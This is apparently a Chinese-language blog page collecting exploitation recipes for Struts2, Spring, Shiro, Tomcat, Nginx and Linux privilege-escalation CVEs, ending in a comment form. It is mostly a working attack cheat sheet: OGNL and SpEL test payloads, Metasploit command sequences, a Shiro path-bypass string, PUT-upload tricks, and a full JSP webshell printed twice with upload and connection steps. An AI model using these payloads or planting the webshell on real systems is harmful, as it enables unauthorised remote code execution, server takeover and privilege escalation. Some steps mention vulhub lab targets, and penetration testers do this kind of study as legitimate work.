「漏洞库」糸北の漏洞收集库

Struts2框架

S2-061(S2-062)命令执行 CVE-2020-17530

利用条件&作用

利用条件: Apache Struts 2.0.0 - 2.5.29

作用:命令执行

利用方法

传参处检测Payload

?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d

检测脚本

使用方法:python struts2-s2-061.py [url]

struts2-s2-061.zip

利用方法(Kali)

msfconsole
search struts
use exploit/multi/http/struts2_multi_eval_ognl
set RHOSTS IP
set SRVHOST IP
run
成功后输入shell即可执行命令

Spring框架

Spring Web Flow框架远程代码执行(CVE-2017-4971)

利用条件&作用

影响版本:Spring WebFlow 2.4.0 - 2.4.4

利用方法

漏洞复现-CVE-2017-4971-Spring Web Flow 远程代码执行

Spring Security OAuth2远程命令执行(CVE-2016-4977)

利用条件&作用

影响版本:2.0.0-2.0.9、1.0.0-1.0.5,有账号密码的前提下实现RCE。

作用:授权状态下远程命令执行

利用方法

复现

示例payload:

http://192.168.74.128:8080/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test

页面最后回显[6]

shiro框架

shiro反序列化漏洞

利用条件&作用

shiro版本<=1.2.4(使用了默认秘钥)

作用: 直接RCE

利用方法

工具:https://github.com/SummerSec/ShiroAttack2/releases

image.png

认证绕过漏洞

利用条件&作用

利用条件:Apache Shiro < 1.5.1

作用:绕过登录验证,直接访问后台

利用方法

相关文章: CVE-2020-1957 shiro权限绕过简单分析_0justin0的博客-CSDN博客

简述:当环境存在漏洞时。后台路径为/admin/,需要特定用户登录才可以访问,不然访问/admin/会跳转到登录页。访问url/xxx/..;/admin/,即可绕过权限认证进入后台。

Apache Tomcat

Tomcat 8(开启manager)

漏洞靶场环境

vulhub中的tomcat/tomcat8

利用条件&作用

条件:需要开启tomcat的manager管理页面。URL:http://xxx/manager/html

作用:生成木马

利用方法

  • 爆破出tomcat后台的账号密码

使用kali的msfconsole进行爆破tomcat后台密码

msfconsole

use auxiliary/scanner/http/tomcat_mgr_login

set RHOSTS <目标主机地址>

set RPORT <目标主机端口>

run
  • 制作一句话木马war包,先将下面代码的一句话木马重命名为shell.jsp,然后将shell.jsp压缩为shell.zip,再将shell.zip重命名为shell.war
 <%!
     class U extends ClassLoader {
         U(ClassLoader c) {
             super(c);
         }
         public Class g(byte[] b) {
             return super.defineClass(b, 0, b.length);
         }
     }

     public byte[] base64Decode(String str) throws Exception {
         try {
             Class clazz = Class.forName("sun.misc.BASE64Decoder");
             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
         } catch (Exception e) {
             Class clazz = Class.forName("java.util.Base64");
             Object decoder = clazz.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
         }
     }
 %>
 <%
     String cls = request.getParameter("password");
     if (cls != null) {
         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
     }
 %>
  • 在url/manager/html找到WAR file to deploy,将制作好的shell.war包上传,即可生成木马,然后访问url/shell/shell,jsp,使用蚁剑即可连接,密码password

CVE-2020-1938

漏洞靶场环境

vulhub | tomcat/CVE-2020-1938

利用条件&作用

条件

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

需要开启8009端口AJP协议

作用

  • 文件读取
  • 如果提前上传了含一句话木马jsp脚本的txt文件,配合文件读取可以反弹SHELL,达到远程RCE

利用方法

  • 仅文件读取,使用kali的msfconsole,执行下面代码,即可读取主机内文件
msfconsole
use auxiliary/admin/http/tomcat_ghostcat
set RHOSTS <目标主机>
set FILENAME <主机内文件>
run

CVE-2017-12615

利用条件&作用

利用条件:配置文件/usr/local/tomcat/conf/web.xml,代码块的readonly要为false(非默认设置),导致可以使用PUT方法上传文件

  <!--   readonly            Is this context "read only", so HTTP           -->
<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>

作用:直接上传木马文件GetShell

利用方法

一、PUT方法,文件名添加/绕过上传限制

抓取网页请求包,然后将方法修改为PUT,将路径改为shell.jsp/(注意要在后面加入/,来绕过上传限制),在POST数据位放入一句话木马。

发送数据包后响应状态码为201即为成功。路径为URL/shell.jsp。服务器内路径为/usr/local/tomcat/webapps/ROOT

image.png

附:JSP一句话木马,密码password

 <%!
     class U extends ClassLoader {
         U(ClassLoader c) {
             super(c);
         }
         public Class g(byte[] b) {
             return super.defineClass(b, 0, b.length);
         }
     }

     public byte[] base64Decode(String str) throws Exception {
         try {
             Class clazz = Class.forName("sun.misc.BASE64Decoder");
             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
         } catch (Exception e) {
             Class clazz = Class.forName("java.util.Base64");
             Object decoder = clazz.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
         }
     }
 %>
 <%
     String cls = request.getParameter("password");
     if (cls != null) {
         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
     }
 %>

二、其他上传方法,适用于Windows

1.Windows下不允许文件以空格结尾以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格  
2.Windows NTFS流Put/a001.jsp::$DATA HTTP/1.1  

Nginx

解析配置错误

利用条件&作用

条件:php.ini中cgi.fix_pathinfo=1 ,在php-fpm.conf中security.limit_extensions= 为空时

作用:将图片文件当做PHP解析,可以直接Getshell

利用方法

在条件符合的情况下,上传带一句话木马的图片(或者其他?)文件,例如为url/a.jpg。

只需要url/a.jpg/.php就可以将图片文件当做php来解析

Linux提权

CVE-2021-4034

影响范围

centos/debian系验证

rpm -qa polkit
dpkg -l policykit-1

Debain stretch policykit-1 < 0.105-18+deb9u2
Debain buster policykit-1 < 0.105-25+deb10u1
Debain bookworm, bullseye policykit-1 < 0.105-31.1
Ubuntu 21.10 (Impish Indri) policykit-1 < 0.105-31ubuntu0.1
Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life)
Ubuntu 20.04 LTS (Focal Fossa) policykit-1 < 0.105-26ubuntu1.2)
Ubuntu 18.04 LTS (Bionic Beaver) policykit-1 <0.105-20ubuntu0.18.04.6)
Ubuntu 16.04 ESM (Xenial Xerus) policykit-1 <0.105-14.1ubuntu0.5+esm1)
Ubuntu 14.04 ESM (Trusty Tahr) policykit-1 <0.105-4ubuntu3.14.04.6+esm1)
CentOS 6 polkit < polkit-0.96-11.el6_10.2
CentOS 7 polkit < polkit-0.112-26.el7_9.1
CentOS 8.0 polkit < polkit-0.115-13.el8_5.1
CentOS 8.2 polkit < polkit-0.115-11.el8_2.2
CentOS 8.4 polkit < polkit-0.115-11.el8_4.2

攻击流程

POC:下载
Github:(CVE-2021-4034)[https://github.com/arthepsy/CVE-2021-4034]

  • 先确定是否存在漏洞,将poc解压后的C文件,放到靶机内
  • 执行以下命令即可提权
gcc exp.c -o exp
./exp
id

CVE-2022-0847

影响范围

Linux Kernel版本 >= 5.8
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
Linux内核版本集合下载:
http://ftp.sjtu.edu.cn/sites/ftp.kernel.org/pub/linux/kernel/
https://www.kernel.org/
debian内核安装:https://blog.csdn.net/zhungcan/article/details/110956590

攻击流程

编译文件源码

  • 保存好编译文件源码
  • 解压后的文件扔到靶机
  • 执行gcc exp.c -o exp
  • ./exp /usr/bin/sudo 注:后面接上拥有SUID权限的文件

流程图

CVE-2021-3493

影响范围

Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

攻击流程

CVE-2021-3493.zip

  • 保存好编译文件源码
  • 解压后的文件扔到靶机
  • 执行gcc exp.c -o exp
  • ./exp
    CVE-2021-3493.png
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇